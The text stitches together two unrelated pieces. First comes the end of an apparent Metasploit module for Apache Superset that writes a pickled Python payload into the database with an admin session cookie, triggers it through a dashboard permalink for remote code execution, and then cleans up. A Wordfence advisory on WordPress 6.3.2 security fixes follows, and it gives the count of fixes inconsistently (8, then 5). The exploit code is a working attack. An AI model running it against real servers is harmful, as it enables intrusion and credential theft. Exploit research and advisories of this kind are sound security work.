Rex::Text.to_hex(Msf::Util::PythonDeserialization.payload(:py3_exec, payload.encoded))<br /> pickled = pickled.gsub('\x', '') # we only need a beginning \x not every character for this format<br /><br /> vprint_status('Uploading payload')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),<br /> 'method' => 'POST',<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'headers' => {<br /> 'Accept' => 'application/json',<br /> 'X-CSRFToken' => @csrf_token<br /> },<br /> 'data' => {<br /> 'client_id' => @client_id,<br /> 'database_id' => @db_id,<br /> 'json' => true,<br /> 'runAsync' => false,<br /> 'schema' => 'main',<br /> 'sql' => "UPDATE key_value set value=X'#{pickled}' where resource='dashboard_permalink';", # the dashboard ID doesn't necessarily correspond to the ID in this table, so we just have to overwrite them all<br /> 'sql_editor_id' => '1',<br /> 'tab' => 'Untitled Query 1',<br /> 'tmp_table_name' => '',<br /> 'select_as_cta' => false,<br /> 'ctas_method' => 'TABLE',<br /> 'queryLimit' => 1000,<br /> 'expand_data' => true<br /> }.to_json<br /> )<br /><br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?<br /> fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200<br /><br /> print_status('Triggering payload')<br /> res = send_request_cgi(<br /> 'keep_cookies' => true,<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'uri' => normalize_uri(target_uri.path, 'superset', 'dashboard', 'p', permalink_key, '/')<br /> )<br /> # we go through some permalink hell here<br /> until res.nil? || res.headers['Location'].nil?<br /> res = send_request_cgi(<br /> 'keep_cookies' => true,<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'uri' => res.headers['Location']<br /> )<br /> end<br /><br /> # 404 error and we win.<br /> # log item: 172.17.0.1 - - [14/Sep/2023:17:37:25 +0000] "GET /superset/dashboard/p/MzABePa5XYd/ HTTP/1.1" 404 38 "-" "Mozilla/5.0 (iPad; CPU OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1"<br /> end<br /><br /> def exploit<br /> @db_id = nil<br /> @csrf_token = nil<br /> @tab_id = nil<br /> @dashboard_id = nil<br /> vprint_status('Attempting login')<br /> login_and_priv_esc<br /> vprint_status('Attempting to pull user creds from db')<br /> mount_internal_database<br /> vprint_status('Attempting RCE')<br /> rce_implant<br /> end<br /><br /> def cleanup<br /> super<br /><br /> # We didn't know the previous values, so just blank out XXX<br /> unless (@client_id.nil? || @csrf_token.nil? || @db_id.nil? || @values_to_reset.nil?)<br /> print_status('Unsetting RCE Payloads')<br /> @values_to_reset.each do |row|<br /> next if row[0] == 'id' # headers<br /><br /> vprint_status("Restoring row ID #{row[0]}")<br /><br /> set_query_latest_query_id<br /> is_binary = false<br /> if (row[1].starts_with?("b'") && row[1].ends_with?("'"))<br /> row[1] = row[1][2..-2] # remove encoding and substring marks<br /> row[1] = Rex::Text.to_hex(row[1])<br /> row[1] = row[1].gsub('\x', '') # we only need a beginning \x not every character for this format<br /> is_binary = true<br /> end<br /><br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),<br /> 'method' => 'POST',<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'keep_cookies' => true,<br /> 'ctype' => 'application/json',<br /> 'headers' => {<br /> 'Accept' => 'application/json',<br /> 'X-CSRFToken' => @csrf_token<br /> },<br /> 'data' => {<br /> 'client_id' => @client_id,<br /> 'database_id' => @db_id,<br /> 'json' => true,<br /> 'runAsync' => false,<br /> 'schema' => 'main',<br /> 'sql' => "UPDATE key_value set value=#{is_binary ? 'X' : ''}'#{row[1]}' where id='#{row[0]}';",<br /> 'sql_editor_id' => '1',<br /> 'tab' => 'Untitled Query 1',<br /> 'tmp_table_name' => '',<br /> 'select_as_cta' => false,<br /> 'ctas_method' => 'TABLE',<br /> 'queryLimit' => 1000,<br /> 'expand_data' => true<br /> }.to_json<br /> )<br /> if res && res.code == 200<br /> vprint_good('Successfully restored')<br /> else<br /> vprint_bad("Unable to reset value: #{row[1]}")<br /> end<br /> end<br /> end<br /><br /> # delete dashboard<br /> unless @dashboard_id.nil?<br /> print_status('Deleting dashboard')<br /> send_request_cgi(<br /> 'keep_cookies' => true,<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id),<br /> 'method' => 'DELETE',<br /> 'headers' => {<br /> 'Accept' => 'application/json',<br /> 'X-CSRFToken' => @csrf_token<br /> }<br /> )<br /> end<br /><br /> # delete sqllab tab<br /> unless @tab_id.nil?<br /> print_status('Deleting sqllab tab')<br /> send_request_cgi(<br /> 'keep_cookies' => true,<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id),<br /> 'method' => 'DELETE',<br /> 'headers' => {<br /> 'Accept' => 'application/json',<br /> 'X-CSRFToken' => @csrf_token<br /> }<br /> )<br /> end<br /><br /> # delete mapping to stock database<br /> unless @db_id.nil?<br /> print_status('Deleting database mapping')<br /> send_request_cgi(<br /> 'keep_cookies' => true,<br /> 'cookie' => "session=#{@admin_cookie};",<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', @db_id),<br /> 'method' => 'DELETE',<br /> 'headers' => {<br /> 'Accept' => 'application/json',<br /> 'X-CSRFToken' => @csrf_token<br /> }<br /> )<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>The newest WordPress patch includes fixes for 8 Medium-Severity security issues, several of which are trivial to exploit.<br /><br />WordPress Core 6.3.2 was released today, on October 12, 2023. It includes a number of security fixes and additional hardening against commonly exploited vulnerabilities. While all of the vulnerabilities are of Medium severity, several of them are impactful enough to potentially allow site takeover, and thus the 6.3.2 update has the most significant security fixes we’ve seen in a while.<br /><br />Many of these patches have been backported to every version of WordPress since 4.1, with just a few being backported to the major version in which the functionality was released. WordPress has supported automatic core updates for security releases since WordPress 3.7, and the vast majority of WordPress sites should receive a patch for their major version of WordPress automatically over the next 24 hours. We recommend verifying that your site has been automatically updated to one of the patched versions. Patched versions are available for every major version of WordPress since 4.1, so you can update without risking compatibility issues.<br /><br />The Wordfence Threat Intelligence Team released two new firewall rules today to protect Wordfence Premium, Wordfence Care, and Wordfence Response customers against the most impactful vulnerabilities patched, and these rules will be available to free Wordfence users in 30 days, on November 11th, 2023.<br /><br />If your site has not been updated automatically we strongly recommend updating manually as soon as possible, as one of the vulnerabilities patched in this release can be used by an attacker with a low-privileged contributor-level account to take over a site.<br /><br />Technical Analysis and Overview<br /><br />As with every WordPress core release containing security fixes, the Wordfence Threat Intelligence team analyzed the code changes in detail to evaluate the impact of these vulnerabilities on our customers, and to ensure our customers remain protected.<br /><br />No More ShortCode Abuse<br /><br />Description: WordPress Core <= 6.3.1 – Authenticated (Subscriber+) Arbitrary Shortcode Execution<br /><br />Affected Versions: WordPress Core < 6.3.2<br /><br />Researcher: James Golovich & WhiteCyberSec <br /><br />CVE ID: Pending<br /><br />CVSS Score: 5.4(Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N<br /><br />Fully Patched Version: 6.3.2<br /><br />Wordfence Intelligence Reference <br /><br />WordPress Core is vulnerable to arbitrary shortcode execution in versions up to, and including, 6.3.1 due to a lack of input validation on the ‘shortcode’ parameter in the parse_media_shortcode AJAX function. This allows authenticated attackers, with subscriber-level privileges and above, to execute arbitrary shortcodes.<br /><br />While this patch does not address a specific vulnerability, it blocks a common vector that enables attackers to exploit vulnerabilities that use shortcodes. Before WordPress 6.3.2, any authenticated user, including subscribers could execute any shortcode by calling the built-in ‘parse-media-shortcode’ AJAX handler.<br /><br />The changeset in WordPress 6.3.2 restricts this AJAX handler to media shortcodes, and requires the ’embed’ shortcode to be associated with an active post ID that the user can access.<br /><br />This means that a large range of SQL Injection, Sensitive Information Disclosure, and Remote Code Execution vulnerabilities that required only an active user login can now only be exploited by Contributor-level users or above.<br /><br />You can find several of the shortcode-based vulnerabilities we reference by searching the Wordfence Intelligence vulnerability database.<br /><br />Previously our team could not add a firewall rule to prevent the execution of arbitrary shortcodes due to the varying use cases. Fortunately, with this patch and change, the expected behavior of the parse-media-shortcode action has been restricted by WordPress Core, so we were able to create a generic firewall rule that will prevent arbitrary execution of shortcodes that are not in the allowlist from the function. Wordfence Premium, Care, and Response customers received this rule today, while those still on the free version of Wordfence will receive this rule after a 30 day delay on November 11th, 2023.<br /><br />Reflected Cross-Site Scripting via Application Passwords<br /><br />Description: WordPress Core 5.6-6.3.1 – Reflected Cross-Site Scripting via Application Password Requests<br /><br />Affected Versions: WordPress Core < 6.3.2<br /><br />Researcher: mascara7784 <br /><br />CVE ID: Pending<br /><br />CVSS Score: 6.1(Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N<br /><br />Fully Patched Version: 6.3.2<br /><br />Wordfence Intelligence Reference <br /><br />WordPress Core is vulnerable to Reflected Cross-Site Scripting via the ‘success_url’ and ‘reject_url’ parameters when requesting application passwords in versions between 5.6 and 6.3.1 due to insufficient input sanitization and output escaping of pseudo protocol URIs. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link and accepting or rejecting the application password.<br /><br />WordPress allows applications to request application passwords to be generated for them. WordPress before 6.3.2 fails to validate the redirect URIs used when a password is authorized or rejected, which means that an attacker could generate a URL for an application password request containing data: and javascript: pseduo protocol redirects. If the victim visits this URL on their site and approves or rejects the application password request, they could be redirected to a URI that executes JavaScript on their browser. WordPress 6.3.2 contains a patch for this issue.<br /><br />As with all Cross-Site Scripting vulnerabilities, this can be used to take over a site by creating malicious administrators and backdoors.<br /><br />All Wordfence users, including Wordfence free, Wordfence Premium, Wordfence Care, and Wordfence Response users are protected against this vulnerability by the Wordfence Firewall’s Built-in Cross-Site Scripting protection. Additionally, Wordfence disables application passwords by default.<br /><br />Comment Visibility<br /><br />Description: WordPress Core <= 6.3.1 – Authenticated(Contributor+) Sensitive Information Exposure via Comments on Protected Posts<br /><br />Affected Versions: WordPress Core < 6.3.2<br /><br />Researcher: JB Audras(WordPress Security Team) & Rafie Muhammad(Patchstack) <br /><br />CVE ID: Pending<br /><br />CVSS Score: 4.3(Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N<br /><br />Fully Patched Version: 6.3.2<br /><br />Wordfence Intelligence Reference <br /><br />WordPress Core is vulnerable to Sensitive Information Exposure in versions up to, and including, 6.3.1 via the comments listing. This allows authenticated users, with contributor-level privileges or above, to view comments on protected posts.<br /><br />Prior to WordPress 6.3.2, it was possible for users to view comments on posts even when they did not have access to those posts. While this is in most cases a relatively low-impact issue, WordPress 6.3.2 contains a patch protecting the privacy of comments on private or protected posts.<br /><br />Removing POP Chains<br /><br />While WordPress Core has not had a known Object Injection vulnerability for some time, Object Injection vulnerabilities in various plugins and themes are regularly discovered by researchers, including Wordfence’s own in-house Threat Intelligence team.<br /><br />All Object Injection vulnerabilities require POP chains in order to be successful. Prior to WordPress 6.3.2, potential POP chains were present in the WP_Theme, WP_Block_Type_Registry, WP_Block_Patterns_Registry, Requests/Session, Request/Iri, and Requests/Hooks classes. While we were unable to develop a functioning exploit for these in the time available, the patches involved indicate that they are designed to prevent unexpected Object Unserialization that could lead to Remote Code Execution. Credit to Marc Montpas of Automattic for discovering the vulnerable POP chains.<br /><br />The Wordfence Threat Intelligence Team will continue reverse engineering this patch to determine if a firewall rule will be necessary, but at this time it has not received an official vulnerability entry because it is not technically a vulnerability on its own.<br /><br />No More Searching By Email<br /><br />Description: WordPress Core 4.7.0-6.3.1 – Sensitive Information Exposure via User Search REST Endpoint<br /><br />Affected Versions: WordPress Core < 6.3.2<br /><br />Researcher: Marc Montpas(Automattic) <br /><br />CVE ID: Pending<br /><br />CVSS Score: 5.3(Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N<br /><br />Fully Patched Version: 6.3.2<br /><br />Wordfence Intelligence Reference <br /><br />WordPress Core is vulnerable to Sensitive Information Exposure in versions between 4.7.0 and 6.3.1 via the User REST endpoint. While the search results do not display user email addresses unless the requesting user has the ‘list_users’ capability, the search is applied to the user_email column. This can allow unauthenticated attackers to brute force or verify the email addresses of users with published posts or pages on the site.<br /><br />While WordPress prior to 6.3.2 did not directly display user email addresses to users without the “list_users” capability, it still searched the user email column in wp_users. This meant that it was possible to brute-force search or verify the email address of any user with a published post or page by including the partial email address in the search parameter, potentially impacting user privacy. The patch for this limits the search columns for users without the “list_users” capability to only the columns displayed.<br /><br />Cache Poisoning Denial of Service<br /><br />Description: WordPress Core 4.7.0-6.3.1 – Denial of Service via Cache Poisoning<br /><br />Affected Versions: WordPress Core < 6.3.2<br /><br />Researcher: s5s & raouf_maklouf <br /><br />CVE ID: Pending<br /><br />CVSS Score: 5.3(Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L<br /><br />Fully Patched Version: 6.3.2<br /><br />Wordfence Intelligence Reference <br /><br />WordPress Core is vulnerable to Denial of Service via Cache Poisoning in versions between 4.7.0 and 6.3.1. In cases where the X-HTTP-Method-Override header was sent in a request to a REST endpoint and the endpoint returned a 4xx error, the error could be cached, resulting in denial of service.<br /><br />Responses to REST API requests are not cached for logged-in users, but WordPress Core before 6.3.2 had an edge case where, in heavily cached configurations, an unauthenticated attacker could send a request to the REST API using the X-HTTP-Method-Override header to a public endpoint and receive a 4xx error, either because the endpoint restricts access to those methods or does not support them at all. In cases where the error is cached, any other unauthenticated visitors attempting to retrieve data from that endpoint would see the cached 4xx error.<br /><br />Contributor+ Stored Cross-Site Scripting in Footnotes<br /><br />Description: WordPress Core 6.3-6.3.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via Footnotes Block<br /><br />Affected Versions: WordPress Core < 6.3.2<br /><br />Researcher: Jorge Costa(WordPress Core Team) <br /><br />CVE ID: Pending<br /><br />CVSS Score: 6.4(Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N<br /><br />Fully Patched Version: 6.3.2<br /><br />Wordfence Intelligence Reference <br /><br />WordPress Core is vulnerable to Stored Cross-Site Scripting via the footnotes block in versions between 6.3 and 6.3.1 due to insufficient input sanitization and output escaping on the footnotes block. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.<br /><br />WordPress prior to 6.3.2 did not adequately sanitize the content of footnote blocks, allowing authenticated users, with Contributor-level privileges or above, to insert JavaScript that would execute when a page containing the footnotes was visited. While input is partially escaped on the client-side, it is possible to intercept a request and add unescaped script tags to the footnote metadata. WordPress has released a patch for this vulnerability in 6.3.2.<br /><br />As with all Cross-Site Scripting vulnerabilities, this can be used to take over a site by creating malicious administrators and backdoors.<br /><br />We have released a firewall rule to protect Wordfence Premium, Wordfence Care, and Wordfence Response users against this vulnerability, and free Wordfence users will receive the same protection in 30 days, on November 11th, 2023.<br /><br />Contributor+ Stored Cross-Site Scripting in Navigation Links<br /><br />Description: WordPress Core 5.9-6.3.1 – Authenticated(Contributor+) Stored Cross-Site Scripting via navigation attributes<br /><br />Affected Versions: WordPress Core 5.9-6.3.1<br /><br />Researcher: Rafie Muhammad & Edouard L of Patchstack <br /><br />CVE ID: Pending<br /><br />CVSS Score: 6.4(Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N<br /><br />Fully Patched Version: 6.3.2<br /><br />Wordfence Intelligence Reference <br /><br />WordPress Core is vulnerable to Stored Cross-Site Scripting via the arrow navigation block attributes in versions between 5.9 and 6.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with contributor-level privileges and above to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.<br /><br />WordPress Core’s Block Editor includes a navigation block that includes arrows or chevrons to display previous and next posts. WordPress before 6.3.2 failed to adequately check or sanitize the attribute defining whether to use an arrow or a chevron. As a result, any user with access to the post editor could insert malicious JavaScript into the arrow navigation element, which would be executed whenever a visitor accessed that page.<br /><br />As with all Cross-Site Scripting vulnerabilities, this can be used to take over a site by creating malicious administrators and backdoors. We were unable to successfully exploit this vulnerability at the time of publication, but will update this post if we are able to achieve a proof of concept, along with a firewall rule if needed to protect our users.<br /><br />Conclusion<br /><br />WordPress 6.3.2 includes patches for 5 Medium-Severity vulnerabilities as well as hardening against separate Object Injection vulnerabilities found in third-party plugins and themes. Several of these vulnerabilities are trivial to exploit and we recommend updating immediately if your site has not yet automatically done so.<br /><br />We have released firewall rules to protect Wordfence Premium, Wordfence Care, and Wordfence Response customers against the most impactful vulnerabilities and these rules will be available to free Wordfence users in 30 days, on November 11th, 2023.<br /><br />If you know someone who uses WordPress and isn’t keeping it automatically updated, we recommend sharing this advisory with them to ensure their site remains secure, as several of these vulnerabilities pose a significant risk.<br /><br />For security researchers looking to disclose vulnerabilities responsibly and obtain a CVE ID, you can submit your findings to Wordfence Intelligence and potentially earn a spot on our leaderboard.<br /><br />Special thanks to the security researchers who responsibly disclosed these vulnerabilities, as well as to Threat Intelligence Lead Chloe Chamberland for her assistance with this article and for writing the firewall rules to protect Wordfence customers.<br /><br /></code></pre>